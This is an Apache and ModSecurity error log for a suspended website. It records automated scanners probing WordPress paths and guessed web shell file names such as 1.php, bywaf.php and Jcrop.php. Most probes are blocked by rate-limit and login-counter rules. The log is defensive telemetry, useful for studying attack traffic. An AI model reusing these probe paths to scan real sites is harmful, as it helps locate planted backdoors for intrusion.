[Thu Mar 19 22:19:00.287728 2026] [:error] [pid 11015:tid 11053] [client 34.139.95.246:59506] [client 34.139.95.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "abwF1PPcMwFQZAVfzLSSCQAAAIc"]
[Thu Mar 19 22:19:00.760665 2026] [:error] [pid 1397:tid 1410] [client 34.139.95.246:59053] [client 34.139.95.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "abwF1Hptc6vBjy-kgOMlpAAAAss"]
[Thu Mar 19 22:19:01.253796 2026] [:error] [pid 11015:tid 11068] [client 34.139.95.246:62171] [client 34.139.95.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "abwF1fPcMwFQZAVfzLSSEwAAAJY"]
[Fri Mar 20 00:12:27.727647 2026] [:error] [pid 11014:tid 11033] [client 20.104.192.115:7122] [client 20.104.192.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "abwgazBVizvrAl0DfCAnKAAAAE4"]
[Fri Mar 20 00:12:29.088152 2026] [:error] [pid 1441:tid 1464] [client 20.104.192.115:6536] [client 20.104.192.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "abwgbYf6BGzjfVNuehUpNwAAAxQ"]
[Fri Mar 20 00:12:31.183152 2026] [:error] [pid 11015:tid 11070] [client 20.104.192.115:6533] [client 20.104.192.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "abwgb_PcMwFQZAVfzLSqxwAAAJg"]
[Fri Mar 20 00:12:34.425916 2026] [:error] [pid 48106:tid 48129] [client 20.104.192.115:7106] [client 20.104.192.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "abwgcsVZaUGvkz29lZEp8wAAAM8"]
[Fri Mar 20 01:14:31.846916 2026] [:error] [pid 46126:tid 46238] [client 209.97.171.56:63373] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abwu96Q44YePbsZz3j7MYgAAAQ4"]
[Fri Mar 20 01:14:32.442450 2026] [:error] [pid 46264:tid 46283] [client 209.97.171.56:63669] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abwu-Ip3TruHFmWOt5HW1wAAAAA"]
[Fri Mar 20 02:46:16.470903 2026] [:error] [pid 46126:tid 46244] [client 40.74.65.33:3863] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri Mar 20 02:46:17.656097 2026] [:error] [pid 46126:tid 46244] [client 40.74.65.33:3863] File does not exist: /usr/local/apache/htdocs/suspended-page/lite.php
[Fri Mar 20 02:46:17.780223 2026] [:error] [pid 46126:tid 46248] [client 40.74.65.33:3863] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Fri Mar 20 02:46:17.904775 2026] [:error] [pid 46126:tid 46220] [client 40.74.65.33:3863] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri Mar 20 02:46:18.029478 2026] [:error] [pid 46126:tid 46216] [client 40.74.65.33:3863] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri Mar 20 02:46:18.400580 2026] [:error] [pid 46126:tid 46211] [client 40.74.65.33:3863] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Fri Mar 20 02:46:18.539865 2026] [:error] [pid 46126:tid 46224] [client 40.74.65.33:3863] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Fri Mar 20 02:46:18.665033 2026] [:error] [pid 46126:tid 46252] [client 40.74.65.33:3863] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Fri Mar 20 02:46:18.789338 2026] [:error] [pid 46126:tid 46218] [client 40.74.65.33:3863] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Fri Mar 20 02:46:18.909635 2026] [:error] [pid 46126:tid 46232] [client 40.74.65.33:3863] [client 40.74.65.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "abxEeqQ44YePbsZz3j7lXQAAAQs"]
[Fri Mar 20 02:46:19.396733 2026] [:error] [pid 46126:tid 46227] [client 40.74.65.33:4743] [client 40.74.65.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "abxEe6Q44YePbsZz3j7lXgAAAQg"]
[Fri Mar 20 02:46:19.923183 2026] [:error] [pid 11258:tid 11261] [client 40.74.65.33:4780] [client 40.74.65.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "abxEe5PHb95f6xzHJOdAhAAAAME"]
[Fri Mar 20 02:46:20.430038 2026] [:error] [pid 46125:tid 46237] [client 40.74.65.33:3892] [client 40.74.65.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "abxEfGgN4lI6NHeckY5wjgAAAI4"]
[Fri Mar 20 07:15:12.093921 2026] [:error] [pid 55301:tid 55385] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Fri Mar 20 07:15:12.323319 2026] [:error] [pid 55301:tid 55388] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Fri Mar 20 07:15:12.533190 2026] [:error] [pid 55301:tid 55392] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Fri Mar 20 07:15:12.754383 2026] [:error] [pid 55301:tid 55381] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Fri Mar 20 07:15:12.965653 2026] [:error] [pid 55301:tid 55373] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Fri Mar 20 07:15:13.265661 2026] [:error] [pid 55301:tid 55374] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri Mar 20 07:15:13.686934 2026] [:error] [pid 55301:tid 55399] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Fri Mar 20 07:15:13.897475 2026] [:error] [pid 55301:tid 55367] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Fri Mar 20 07:15:14.107900 2026] [:error] [pid 55301:tid 55371] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Fri Mar 20 07:15:14.317995 2026] [:error] [pid 55301:tid 55401] [client 20.104.104.81:23857] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Fri Mar 20 07:15:14.526271 2026] [:error] [pid 55301:tid 55381] [client 20.104.104.81:23857] [client 20.104.104.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "abyDgsKP1x4sgmjd3xRsXgAAAo0"]
[Fri Mar 20 07:15:17.019197 2026] [:error] [pid 55301:tid 55374] [client 20.104.104.81:23829] [client 20.104.104.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "abyDhcKP1x4sgmjd3xRsXwAAAoo"]
[Fri Mar 20 07:15:18.829177 2026] [:error] [pid 55239:tid 55273] [client 20.104.104.81:23816] [client 20.104.104.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "abyDhqycM6mGWSmcyoL1lAAAAcA"]
[Fri Mar 20 07:15:21.166892 2026] [:error] [pid 43163:tid 43170] [client 20.104.104.81:23865] [client 20.104.104.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "abyDiZ_n4JP_ko9XUswXhAAAAQM"]
[Fri Mar 20 09:52:21.740127 2026] [:error] [pid 51714:tid 51732] [client 195.154.194.132:47216] File does not exist: /usr/local/apache/htdocs/suspended-page/index.php
[Fri Mar 20 16:13:56.931428 2026] [:error] [pid 49081:tid 49124] [client 216.73.216.221:40480] [client 216.73.216.221] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||windfarmcoolants.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/robots.txt"] [unique_id "ab0BxBo1LBAUhfhYPR0D9AAAAQk"]
[Fri Mar 20 19:59:42.089481 2026] [:error] [pid 49170:tid 49193] [client 167.160.190.163:42372] [client 167.160.190.163] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.windfarmcoolants.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "ab02rs-c8ctLVDCqUJV5HgAAABM"], referer: https://www.google.com/search?q=admin+panel
[Fri Mar 20 20:13:34.558604 2026] [:error] [pid 49170:tid 49192] [client 216.24.212.49:59495] [client 216.24.212.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.212.49, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ab057s-c8ctLVDCqUJV_VwAAABI"]
[Fri Mar 20 20:13:34.580217 2026] [:error] [pid 49170:tid 49192] [client 216.24.212.49:59495] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Mar 20 22:15:49.618746 2026] [:error] [pid 49170:tid 49175] [client 209.141.59.141:37749] [client 209.141.59.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.141.59.141, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ab1Wlc-c8ctLVDCqUJWm0wAAAAE"]
[Fri Mar 20 22:15:49.622325 2026] [:error] [pid 49170:tid 49175] [client 209.141.59.141:37749] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Sat Mar 21 07:36:41.226193 2026] [:error] [pid 49170:tid 49175] [client 198.98.50.128:20257] [client 198.98.50.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.50.128, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ab3aCb1KUC-QISS0eWo-xQAAAQM"], referer: http://www.google.com.hk
[Sat Mar 21 07:36:41.230019 2026] [:error] [pid 49170:tid 49175] [client 198.98.50.128:20257] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: http://www.google.com.hk
[Sat Mar 21 09:03:21.176414 2026] [:error] [pid 1490:tid 1556] [client 45.89.60.157:58809] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Sun Mar 22 02:51:08.564069 2026] [:error] [pid 40782:tid 41043] [client 52.138.39.105:23193] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Sun Mar 22 02:51:08.769830 2026] [:error] [pid 40782:tid 41046] [client 52.138.39.105:23193] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test.php"] [unique_id "ab7onOaE0aGWZHNA90uWMAAAAI0"]
[Sun Mar 22 02:51:09.592041 2026] [:error] [pid 23666:tid 23679] [client 52.138.39.105:20348] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test.php"] [unique_id "ab7oncMCSeYGBmLsLigl4QAAAQs"]
[Sun Mar 22 02:51:10.416601 2026] [:error] [pid 23666:tid 23677] [client 52.138.39.105:23770] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test.php"] [unique_id "ab7onsMCSeYGBmLsLigl4wAAAQk"]
[Sun Mar 22 02:51:11.270549 2026] [:error] [pid 41061:tid 41075] [client 52.138.39.105:23217] [client 52.138.39.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test.php"] [unique_id "ab7on6ksT6woy-Od6iH4MAAAAMs"]
[Sun Mar 22 15:18:40.880279 2026] [:error] [pid 51468:tid 51481] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/6kDPjgFTmvS.php
[Sun Mar 22 15:18:41.223331 2026] [:error] [pid 51468:tid 51495] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Sun Mar 22 15:18:41.462230 2026] [:error] [pid 51468:tid 51489] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sun Mar 22 15:18:41.772779 2026] [:error] [pid 51468:tid 51482] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/ff1.php
[Sun Mar 22 15:18:42.148389 2026] [:error] [pid 51468:tid 51488] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/x1.php
[Sun Mar 22 15:18:42.576246 2026] [:error] [pid 51468:tid 51495] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/ta0ol.php
[Sun Mar 22 15:18:43.037502 2026] [:error] [pid 51468:tid 51484] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/t00l.php
[Sun Mar 22 15:18:43.437033 2026] [:error] [pid 51468:tid 51478] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/24.php
[Sun Mar 22 15:18:43.681526 2026] [:error] [pid 51468:tid 51497] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/ass.php
[Sun Mar 22 15:18:43.921390 2026] [:error] [pid 51468:tid 51477] [client 40.89.156.15:13134] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Sun Mar 22 15:18:44.293320 2026] [:error] [pid 51468:tid 51495] [client 40.89.156.15:13134] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "ab-X1E2TppSvA8W5CBSxHwAAANM"]
[Sun Mar 22 15:18:45.221895 2026] [:error] [pid 51468:tid 51499] [client 40.89.156.15:12626] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "ab-X1U2TppSvA8W5CBSxIwAAANc"]
[Sun Mar 22 15:18:46.372042 2026] [:error] [pid 51363:tid 51429] [client 40.89.156.15:13175] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "ab-X1lwa9x6OCTRkhl0U_gAAAIE"]
[Sun Mar 22 15:18:48.563767 2026] [:error] [pid 51468:tid 51499] [client 40.89.156.15:13075] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fyiiz.php"] [unique_id "ab-X2E2TppSvA8W5CBSxKwAAANc"]
[Sun Mar 22 15:18:50.266531 2026] [:error] [pid 51362:tid 51412] [client 40.89.156.15:13063] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ab-X2sOwPm3DXzTDjUc9fgAAAEs"]
[Sun Mar 22 15:18:51.582076 2026] [:error] [pid 40039:tid 40062] [client 40.89.156.15:13117] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ab-X2x3aDgUJfBYishlVbwAAARU"]
[Sun Mar 22 15:18:52.572772 2026] [:error] [pid 51361:tid 51381] [client 40.89.156.15:12893] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ab-X3BXYUsdvKC9YWpWhEAAAAAo"]
[Sun Mar 22 15:18:53.623179 2026] [:error] [pid 51468:tid 51499] [client 40.89.156.15:12619] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ab-X3U2TppSvA8W5CBSxMAAAANc"]
[Sun Mar 22 15:18:54.500337 2026] [:error] [pid 51361:tid 51389] [client 40.89.156.15:12867] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bywaf.php"] [unique_id "ab-X3hXYUsdvKC9YWpWhEwAAABE"]
[Sun Mar 22 15:18:55.440350 2026] [:error] [pid 51361:tid 51378] [client 40.89.156.15:12887] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bywaf.php"] [unique_id "ab-X3xXYUsdvKC9YWpWhFwAAAAc"]
[Sun Mar 22 15:18:56.461431 2026] [:error] [pid 51361:tid 51390] [client 40.89.156.15:13388] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bywaf.php"] [unique_id "ab-X4BXYUsdvKC9YWpWhHgAAABI"]
[Sun Mar 22 15:19:01.474940 2026] [:error] [pid 51362:tid 51409] [client 40.89.156.15:13108] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bywaf.php"] [unique_id "ab-X5cOwPm3DXzTDjUc9igAAAEg"]
[Sun Mar 22 15:19:04.549300 2026] [:error] [pid 51468:tid 51494] [client 40.89.156.15:13666] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab-X6E2TppSvA8W5CBSxPgAAANI"]
[Sun Mar 22 15:19:06.950801 2026] [:error] [pid 51361:tid 51384] [client 40.89.156.15:13144] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab-X6hXYUsdvKC9YWpWhJgAAAA0"]
[Sun Mar 22 15:19:07.900668 2026] [:error] [pid 51361:tid 51395] [client 40.89.156.15:13094] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab-X6xXYUsdvKC9YWpWhJwAAABY"]
[Sun Mar 22 15:19:13.018572 2026] [:error] [pid 51468:tid 51489] [client 40.89.156.15:13129] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "ab-X8U2TppSvA8W5CBSxYgAAAM0"]
[Sun Mar 22 15:19:14.241158 2026] [:error] [pid 51361:tid 51375] [client 40.89.156.15:13942] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "ab-X8hXYUsdvKC9YWpWhLAAAAAQ"]
[Sun Mar 22 15:19:16.794061 2026] [:error] [pid 40039:tid 40057] [client 40.89.156.15:13339] [client 40.89.156.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "ab-X9B3aDgUJfBYishlVigAAARA"]
